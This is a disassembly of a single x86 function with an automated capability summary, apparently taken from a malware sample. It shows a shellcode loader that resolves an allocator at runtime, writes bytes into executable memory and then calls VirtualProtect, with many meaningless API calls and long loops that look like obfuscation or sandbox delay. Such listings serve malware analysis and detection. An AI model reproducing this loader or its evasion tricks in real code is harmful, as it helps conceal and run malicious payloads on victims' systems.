Function at 0x405709
Capabilities:
Allocate or change rwx memory
Create pipe
Execute shellcode via indirect call
Get geographical location
Shutdown system

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1484
call fcn.00412780
cmp dword [0x45cc48], 0x5b1
push ebx
push esi
push edi
jne 0x4057f2
xor ebx, ebx
push ebx
lea eax, [ebp - 0xc80]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetScrollInfo]
push ebx
push ebx
call dword [sym.imp.USER32.dll_ChangeDisplaySettingsW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetProcessAffinityMask]
lea eax, [ebp - 0x7c]
push eax
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetClassInfoExA]
push ebx
push 0x40507c
push 0x405098
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
push ebx
push ebx
call dword [sym.imp.ole32.dll_ReadClassStg]
push ebx
lea eax, [ebp - 0x4c]
push eax
push ebx
push ebx
push 0x4050a4
push ebx
call dword [sym.imp.GDI32.dll_GetCharacterPlacementA]
push ebx
call fcn.00406507
pop ecx
push ebx
call fcn.00405c54
push ecx
mov eax, esp
mov dword [eax], ebx
push ecx
mov dword [eax + 4], ebx
push ecx
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.004053d1
fstp st(0)
lea esi, [ebp - 0x18]
call fcn.00405390
mov ecx, esi
call fcn.004053a7
push ebx
call fcn.00406021
pop ecx
call fcn.00405b1c
push ebx
call fcn.00406153
mov dword [esp], ebx
call fcn.00405427
fstp st(0)
push ebx
call fcn.00406153
pop ecx
call fcn.00406575
add dword [0x45cc48], 0x1134b
push 0x4050d4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x4050e4
push eax
mov dword [0x45bb9c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40
push 0x1000
push dword [0x45cc48]
xor ebx, ebx
push ebx
mov dword [0x45bb94], eax
call eax
xor esi, esi
mov dword [0x45bb98], eax
cmp dword [0x45cc48], ebx
jbe 0x405873
cmp dword [0x45cc48], 0xa8
mov eax, dword [0x45cc4c]
mov al, byte [eax + esi + 0x1134b]
mov ecx, dword [0x45bb98]
mov byte [ecx + esi], al
jne 0x40586a
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetGeoInfoA]
inc esi
cmp esi, dword [0x45cc48]
jb 0x40583e
mov esi, dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
mov dword [ebp - 4], ebx
mov eax, dword [0x45cc48]
mov ecx, dword [ebp - 4]
add eax, ecx
cmp eax, 0xe
jne 0x40592b
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
push ebx
lea eax, [ebp - 0x480]
push eax
push 0x4050f8
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push ebx
lea eax, [ebp - 0xc]
push eax
push ebx
lea eax, [ebp - 0x880]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_InitiateSystemShutdownW]
push ebx
push ebx
push ebx
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
push ebx
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
xor eax, eax
mov word [ebp - 0x28], ax
lea edi, [ebp - 0x26]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push ebx
stosw word es:[edi], ax
lea eax, [ebp - 0x1480]
push eax
push 0x405148
lea eax, [ebp - 0x28]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
push ebx
push ebx
lea eax, [ebp - 8]
push eax
call esi
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreW]
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x39621
jl 0x40587c
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor edi, edi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCommMask]
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_DebugActiveProcess]
cmp edi, 0x206d47
jg 0x405965
inc edi
cmp edi, 0x4f6a4
jl 0x405943
mov edi, 0x4e320c
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadMenuA]
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_CharToOemBuffW]
call dword [sym.imp.USER32.dll_GetMessageExtraInfo]
dec edi
jne 0x40596a
call fcn.0040567a
call esi
cmp edi, 0x26
jne 0x405995
call fcn.004056ef
inc edi
cmp edi, 0x6753f
jl 0x405989
push 0x7b
pop esi
cmp dword [0x45cc48], 0x86
jne 0x4059e4
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextVolumeA]
push ebx
push ebx
push dword [ebp - 8]
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push ebx
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByte]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
push ebx
call dword [sym.imp.KERNEL32.dll_AddAtomA]
dec esi
jne 0x4059a1
call fcn.00405462
pop edi
pop esi
pop ebx
leave
ret